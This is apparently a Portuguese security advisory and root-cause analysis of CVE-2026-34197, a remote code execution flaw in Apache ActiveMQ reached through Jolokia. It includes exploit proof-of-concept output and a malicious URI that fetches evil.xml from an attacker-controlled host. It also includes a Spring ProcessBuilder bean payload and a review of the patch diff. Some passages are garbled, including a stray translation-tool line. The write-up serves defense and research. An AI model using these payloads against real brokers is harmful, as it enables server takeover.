CVE-2026-34197

Description
Vulnerabilidade de Validação de Entrada Incorreta e Controle Incorreto de Geração de Código (‘Injeção de Código’) no Apache ActiveMQ Broker e Apache ActiveMQ. O Apache ActiveMQ Classic expõe a ponte JMX-HTTP do Jolokia em /api/jolokia/ no console web. A política padrão de acesso do Jolokia permite operações exec em todos os MBeans do ActiveMQ (org.apache.activemq:*), incluindo BrokerService.addNetworkConnector(String) e BrokerService.addConnector(String). Um atacante autenticado pode invocar essas operações com uma URI de descoberta manipulada que aciona o parâmetro brokerConfig do transporte VM para carregar um contexto de aplicação Spring XML remoto usando ResourceXmlApplicationContext. Como o ResourceXmlApplicationContext do Spring instancia todos os beans singleton antes que o BrokerService valide a configuração, ocorre execução arbitrária de código na JVM do broker por meio de métodos de fábrica de beans, como Runtime.exec(). Este problema afeta o Apache ActiveMQ Broker: antes de 5.19.4, de 6.0.0 antes de 6.2.3; Apache ActiveMQ All: antes de 5.19.4, de 6.0.0 antes de 6.2.3; Apache ActiveMQ: antes de 5.19.4, de 6.0.0 antes de 6.2.3. Recomenda-se que os usuários atualizem para a versão 5.19.4 ou 6.2.3, que corrige o problema

Mais informações em: link

Fase de Exploração

Referência

Github: link```bash ❯ docker compose up -d

The input chunk is empty — no content was provided to translate.```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` No início do broker, o ActiveMQ registra `BrokerView` como o MBean de gerenciamento do broker:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` O nome do objeto é criado como:

Em seguida, faça grep na cadeia limpa```bash ❯ grep -E \ 'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \ activemq-rce.log Loading message broker from: xbean:activemq.xml INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39] at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25] at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6] at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6] at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6] at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6] at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6] at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6] at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6] at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39] WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` Na distribuição padrão, isso expõe o broker MBean como um alvo Jolokia invocável por HTTP, como:```text org.apache.activemq:type=Broker,brokerName=localhost ``` The relevant component responsibilities are: - `BrokerView`: fachada de gerenciamento de broker voltada a JMX. Ela expõe `addNetworkConnector(String)` e `addConnector(String)`. - `BrokerService`: objeto de runtime do broker. Ele converte um endereço de conector de rede em string em um `URI` e cria um `DiscoveryNetworkConnector`. - `DiscoveryNetworkConnector`: usa um agente de descoberta para obter URIs de serviço de brokers remotos e, em seguida, conecta-se a cada URI descoberto. - `TransportFactory`: resolve um esquema de URI para uma fábrica de transporte usando `META-INF/services/org/apache/activemq/transport/<scheme>`. - `VMTransportFactory`: lida com transportes `vm://` e pode criar automaticamente um broker embutido quando o broker VM solicitado não existe. - `BrokerFactory`: resolve um esquema de URI de configuração de broker usando `META-INF/services/org/apache/activemq/broker/<scheme>`. - `XBeanBrokerFactory`: lida com URIs de configuração de broker `xbean:` e cria um contexto de aplicação Spring/XBean. - `ResourceXmlApplicationContext`: carrega o recurso XML e executa a atualização (refresh) da fábrica de beans do Spring, incluindo criação antecipada (eager) de singletons. A vulnerabilidade existe porque o método de gerenciamento aceita uma linguagem de URI do ActiveMQ que não é dados passivos. Quando a URI é avaliada, ela pode criar brokers e carregar configuração XML do Spring. --- ### Ponto de Entrada Vulnerável O ponto de entrada vulnerável é:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); } ``` A interface MBean expõe a operação como:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java @MBeanInfo("Adds a Network Connector to the broker.") String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception; ``` A entrada controlada pelo atacante é o argumento `exec` do Jolokia passado para `discoveryAddress`. Na versão vulnerável, `BrokerView.addNetworkConnector()` não realiza validação de esquema, nenhuma validação de URI aninhada e nenhuma filtragem de parâmetros específicos do transporte antes de passar a string para `BrokerService`. `BrokerService` converte a string diretamente em uma `URI`:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); } public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); } ``` O objeto conector é então configurado com o URI do broker local e adicionado ao broker:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception { connector.setBrokerService(this); connector.setLocalUri(getVmConnectorURI()); ... networkConnectors.add(connector); return connector; } ``` O controle chega ao subsistema de transporte quando `BrokerView` inicia o conector:```java connector.start(); ``` Para o URI do exploit:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml) ``` `static:(...)` cria um conector de descoberta estática, e a URI interna `vm://...` torna-se o serviço remoto descoberto. --- ### Análise do Transporte VM O transporte VM é resolvido por meio de:```properties # activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm class=org.apache.activemq.transport.vm.VMTransportFactory ``` O método vulnerável é:```java // activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java public Transport doCompositeConnect(URI location) throws Exception ``` O método analisa o URI `vm://`, extrai os parâmetros de consulta e trata `brokerConfig` como um URI de criação de broker:```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); } ``` A opção `create` tem como padrão `true`:```java boolean create = true; ... if ("false".equals(options.remove("create"))) { create = false; } ``` Se não existir um broker para o host de VM solicitado, `VMTransportFactory` cria um:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); } ``` Esta é a falha de limite de privilégio no nível de transporte. Um URI fornecido pelo plano de gerenciamento é avaliado pelo transporte da VM como uma instrução para criar um broker a partir de um URI de configuração arbitrário. A validação restante dos parâmetros ocorre após a criação do broker:```java if (!options.isEmpty()) { throw new IllegalArgumentException("Invalid connect parameters: " + options); } return transport; ``` Essa validação não pode impedir a execução de código por meio de `brokerConfig`, porque `brokerConfig` já foi removido de `options` e consumido antes que essa verificação seja executada. O caminho de descoberta upstream é:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri); ``` Para `static:(...)`, `SimpleDiscoveryAgent.start()` emite imediatamente cada serviço configurado:```java // activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java public void start() throws Exception { taskRunner = new TaskRunnerFactory(); taskRunner.init(); running.set(true); for (int i = 0; i < services.length; i++) { listener.onServiceAdd(new SimpleDiscoveryEvent(services[i])); } } ``` `DiscoveryNetworkConnector.onServiceAdd()` então conecta-se ao URI interno controlado pelo atacante. --- ### Fluxo de Criação do Broker A criação do broker é tratada por:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); } public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; } ``` A consulta do manipulador é baseada em esquema:```java private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER = new FactoryFinder("META-INF/services/org/apache/activemq/broker/"); public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException { try { return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type); } catch (Throwable e) { throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e); } } ``` Para URIs `xbean:`, o descritor de serviço mapeia para `XBeanBrokerFactory`:```properties # activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean class=org.apache.activemq.xbean.XBeanBrokerFactory ``` Fluxo exato de chamada estática:```text BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.<init>(URI) -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> BrokerFactory.createBroker(URI, boolean) -> XBeanBrokerFactory.createBroker(URI) ``` A transição-chave é:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml ``` para:```text BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml")) ``` --- ### Análise do Spring XBean A fábrica XBean relevante é:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler ``` `createBroker()` extrai a parte específica do esquema do URI `xbean:` e cria um contexto de aplicação Spring antes de verificar se ele contém um broker:```java public BrokerService createBroker(URI config) throws Exception { String uri = config.getSchemeSpecificPart(); if (uri.lastIndexOf('?') != -1) { IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri)); uri = uri.substring(0, uri.lastIndexOf('?')); } ApplicationContext context = createApplicationContext(uri); BrokerService broker = null; try { broker = (BrokerService)context.getBean("broker"); } catch (BeansException e) { } ... } ``` O sink perigoso é `createApplicationContext()`:```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } } ``` Recursos remotos são aceitos por `Utils.resourceFromString()`:```java // activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java public static Resource resourceFromString(String uri) throws MalformedURLException { Resource resource; File file = new File(uri); if (file.exists()) { resource = new FileSystemResource(uri); } else if (ResourceUtils.isUrl(uri)) { try { resource = new UrlResource(ResourceUtils.getURL(uri)); } catch (FileNotFoundException e) { MalformedURLException malformedURLException = new MalformedURLException(uri); malformedURLException.initCause(e); throw malformedURLException; } } else { resource = new ClassPathResource(uri); } return resource; } ``` Portanto:```text xbean:http://192.168.1.32:9999/evil.xml ``` é reduzido a:```text http://192.168.1.32:9999/evil.xml ``` e carregado como um `UrlResource` do Spring. A chamada a `reader.setValidating(isValidate())` apenas controla o modo de validação XML no `XmlBeanDefinitionReader` do Spring. Ela não restringe classes de beans, argumentos de construtores, métodos de ciclo de vida ou recursos de URL remotos. --- ### Análise da Instanciação de Beans do Spring ActiveMQ 5.18.6 declara:```xml <spring-version>5.3.39</spring-version> <xbean-version>4.25</xbean-version> ``` Em XBean 4.25, `ResourceXmlApplicationContext` chama `refresh()` a partir do seu construtor:```java // org/apache/xbean/spring/context/ResourceXmlApplicationContext.java public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) { super(); this.xmlPreprocessors = xmlPreprocessors; this.resource = resource; refresh(); } ``` Ele carrega definições de bean do recurso fornecido:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); } ``` O `AbstractApplicationContext.refresh()` do Spring então inicializa o bean factory e instancia beans singleton não-lazy:```java // org/springframework/context/support/AbstractApplicationContext.java // Instantiate all remaining (non-lazy-init) singletons. finishBeanFactoryInitialization(beanFactory); ``` `finishBeanFactoryInitialization()` chama:```java beanFactory.preInstantiateSingletons(); ``` `DefaultListableBeanFactory.preInstantiateSingletons()` cria todos os beans não abstratos, singleton e não-lazy:```java for (String beanName : beanNames) { RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName); if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) { ... getBean(beanName); } } ``` Durante a inicialização do bean, o Spring invoca métodos init personalizados:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... } ``` O método init personalizado é resolvido a partir da definição do bean:```java String initMethodName = mbd.getInitMethodName(); if (StringUtils.hasLength(initMethodName) && !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) && !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) { invokeCustomInitMethod(beanName, bean, mbd); } ``` `invokeCustomInitMethod()` invoca o método reflexivamente:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean); ``` Um bean Spring XML malicioso, como:```xml <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>sh</value> <value>-c</value> <value>touch /tmp/blahblah.txt</value> </list> </constructor-arg> </bean> ``` causa o seguinte comportamento:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start() ``` Isso ocorre antes de `XBeanBrokerFactory.createBroker()` validar o contexto resultante procurando por um bean `BrokerService`:```java ApplicationContext context = createApplicationContext(uri); BrokerService broker = null; try { broker = (BrokerService)context.getBean("broker"); } catch (BeansException e) { } if (broker == null) { String[] names = context.getBeanNamesForType(BrokerService.class); ... } if (broker == null) { throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config); } ``` A validação do broker ocorre após o refresh do contexto Spring. Como resultado, uma configuração pode executar métodos init arbitrários e ainda assim ser rejeitada posteriormente como uma configuração de broker inválida. --- ### Análise da Causa Raiz A causa raiz é uma ponte arquitetural insegura entre uma operação de gerenciamento remotamente invocável e mecanismos confiáveis de bootstrap local do broker. O design vulnerável tem estas propriedades: - O Jolokia expõe operações JMX `exec` para MBeans de gerenciamento do broker ActiveMQ. - `BrokerView.addNetworkConnector(String)` aceita entrada de URI controlada pelo atacante. - A URI é passada para o código de rede do ActiveMQ sem uma restrição no plano de gerenciamento sobre esquemas de transporte perigosos. - A descoberta `static:(...)` faz com que a URI encapsulada seja conectada automaticamente quando o conector de rede inicia. - O transporte `vm://` não é apenas um transporte intra-VM; ele também suporta a criação automática de um broker quando o broker VM nomeado está ausente. - `VMTransportFactory` trata `brokerConfig` como uma URI de fábrica de broker e a encaminha para `BrokerFactory.createBroker()`. - `BrokerFactory` suporta URIs `xbean:` por meio de `XBeanBrokerFactory`. - `XBeanBrokerFactory` aceita recursos de URL e constrói um `ResourceXmlApplicationContext` do Spring. - O Spring instancia ansiosamente beans singleton e invoca métodos init personalizados durante o refresh do contexto. - O ActiveMQ verifica se o contexto contém um `BrokerService` válido somente depois que o Spring já inicializou o contexto. Isso não é simplesmente "validação de entrada inadequada" de forma isolada. O comportamento vulnerável é causado pela exposição de um interpretador de URI capaz de configuração por meio de uma operação JMX em tempo de execução e por permitir que esse interpretador alcance a execução do ciclo de vida de beans do Spring. A falha precisa é que a API de gerenciamento trata `discoveryAddress` como um endereço de conector, mas a pilha de transporte downstream o trata como configuração executável. No caminho de exploração, a string é avaliada como:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods ``` A validação ocorre tarde demais porque a única validação de configuração do broker em `XBeanBrokerFactory` acontece depois de:```java new ResourceXmlApplicationContext(resource) ``` e esse construtor executa:```text refresh() -> preInstantiateSingletons() -> init-method invocation ``` Quando o ActiveMQ determina que o XML não possui um `BrokerService` válido, os beans Spring controlados pelo atacante podem já ter sido executados. --- ### Análise do Patch O diff relevante foi revisado com:```bash git diff activemq-5.18.6..activemq-5.19.4 ``` A alteração relevante para a segurança está em:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java ``` Em 5.18.6, `addNetworkConnector()` encaminhava diretamente a string:```java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); ... connector.start(); return connector.getName(); } ``` Em 5.19.4, foi adicionada validação antes de chamar `BrokerService`:```diff public String addNetworkConnector(String discoveryAddress) throws Exception { + // Verify VM transport is not used + validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); ``` A mesma validação foi adicionada a `addConnector()`:```diff public String addConnector(String discoveryAddress) throws Exception { + // Verify VM transport is not used + validateAllowedUrl(discoveryAddress); TransportConnector connector = brokerService.addConnector(discoveryAddress); ``` O validador rejeita esquemas de transporte `vm`:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); } // Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); } // First check the main URI scheme validateAllowedScheme(uri.getScheme()); // If composite, iterate and check each of the composite URIs if (URISupport.isCompositeURI(uri)) { URISupport.CompositeData data = URISupport.parseComposite(uri); depth++; for (URI component : data.getComponents()) { if (URISupport.isCompositeURI(uri)) { validateAllowedUri(component, depth); } else { validateAllowedScheme(uri.getScheme()); } } } } // We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } } ``` O caminho de execução corrigido se torna:```text Jolokia exec -> BrokerView.addNetworkConnector(String) -> validateAllowedUrl(String) -> validateAllowedUri(URI) -> validateAllowedScheme("vm") -> IllegalArgumentException("VM scheme is not allowed") ``` Isso bloqueia o exploit antes que a requisição chegue a:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh() ``` O patch não remove o suporte ao transporte VM globalmente. Ele restringe o uso de `vm://` por meio dos métodos de criação de conectores do `BrokerView` voltados para JMX. Caminhos de código internos ou confiáveis que usam transporte VM ainda existem. Nenhuma alteração relevante para a segurança foi feita em `VMTransportFactory.doCompositeConnect()` entre 5.18.6 e 5.19.4. O comportamento do `brokerConfig` permanece:```java String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } ... broker = BrokerFactory.createBroker(brokerURI); ``` Nenhuma alteração relevante para a segurança foi feita em `XBeanBrokerFactory.createApplicationContext()` neste diff. Recursos de URL remota e o comportamento do Spring `ResourceXmlApplicationContext` permanecem disponíveis para carregamento de configuração de broker confiável. `BrokerFactory` mudou de um `FactoryFinder` bruto para um `FactoryFinder<BrokerFactoryHandler>` tipado:```diff - private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER = - new FactoryFinder("META-INF/services/org/apache/activemq/broker/"); + private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER + = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/", + BrokerFactoryHandler.class, null); ``` Esta é uma limpeza de segurança de tipos, não a mitigação de RCE. O despacho baseado em esquema para `XBeanBrokerFactory` permanece. `BrokerService` ganhou verificações de `isAutoStart()` para a inicialização do conector em alguns caminhos:```diff - connector.start(); + if(connector.isAutoStart()) { + connector.start(); + } ``` Esta não é a correção principal para o caminho Jolokia-para-RCE. A mitigação principal é a rejeição pré-dispatch de `vm://` em `BrokerView`. Resumo do comportamento do patch: - 5.18.6: `BrokerView.addNetworkConnector()` aceita `static:(vm://...?brokerConfig=xbean:http://...)` e o repassa adiante. - 5.19.4: `BrokerView.addNetworkConnector()` valida o URI fornecido antes da criação do conector e rejeita o uso de `vm://` aninhado. - 5.18.6: `VMTransportFactory` pode consumir o `brokerConfig` controlado pelo atacante alcançado pelo caminho JMX. - 5.19.4: `VMTransportFactory` ainda suporta `brokerConfig`, mas o caminho JMX exposto é bloqueado antes da resolução do transporte VM. --- ### Conclusão da Análise Estática O caminho de código exato vulnerável no ActiveMQ Classic 5.18.6 é:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName=<name> -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start() ``` A exploração é possível porque o ActiveMQ expõe uma operação de gerenciamento que aceita uma URI de conector, mas a implementação de transporte downstream pode interpretar essa URI como configuração de criação do broker. O parâmetro `brokerConfig` atravessa da lógica de conexão de transporte para a lógica da fábrica do broker. Com um valor `xbean:`, ele atravessa novamente para o processamento XML do Spring. A primitiva de execução do Spring não é um bug separado de desserialização. É o comportamento normal do ciclo de vida do Spring: um bean singleton não preguiçoso é instanciado durante o refresh do contexto, e seu `init-method` configurado é invocado. Portanto, um bean `java.lang.ProcessBuilder` com `init-method="start"` executa um processo durante a inicialização do contexto da aplicação. A falha de validação é uma falha de ordenação. O ActiveMQ valida se a configuração XBean contém um `BrokerService` utilizável somente depois que `ResourceXmlApplicationContext` já carregou o XML e inicializou os beans singleton. A rejeição da configuração do broker após o refresh não desfaz os efeitos colaterais dos métodos do ciclo de vida dos beans. O patch 5.19.4 mitiga esse caminho específico adicionando validação de URI em `BrokerView` antes da criação do conector e rejeitando o uso de transporte `vm://` na superfície de gerenciamento JMX. O patch bloqueia o caminho exposto para `VMTransportFactory.doCompositeConnect()`; ele não remove o `brokerConfig`, o suporte a `xbean:` ou o carregamento Spring XBean de caminhos de configuração internos confiáveis.

Recurso	Abuso
`addNetworkConnector()`	Aceitar URI controlada pelo atacante
transporte `vm://`	Acionar criação dinâmica de broker
`brokerConfig=`	Carregar configuração arbitrária de broker
`xbean:`	Invocar o carregador Spring XML
URL HTTP remota	Buscar XML controlado pelo atacante

Impacto	Descrição
Execução Remota de Código	Execução arbitrária de comandos
Comprometimento do Contêiner	Comprometimento total do contêiner ActiveMQ
Roubo de Credenciais	Acesso a credenciais e segredos do broker
Movimentação Lateral	Pivoteamento para sistemas adjacentes
Persistência	Criação de conectores de rede maliciosos
Exposição de Dados	Acesso a mensagens e filas do broker

CVE-2026-34197

Mais Populares

Análise de Causa Raiz

Indicadores de Comprometimento (IOC) e Detecção

Operações Jolokia Suspeitas

Padrões Suspeitos de URI

Conexões HTTP de saída

Artefatos do Sistema de Arquivos

Mitigação

Atualize para Versões Corrigidas

Restringir Acesso de Rede de Saída

Desativar Recursos Perigosos

Endurecer o Ambiente de Execução

Recomendações de Detecção

Análise Estática

Visão Geral do Código-Fonte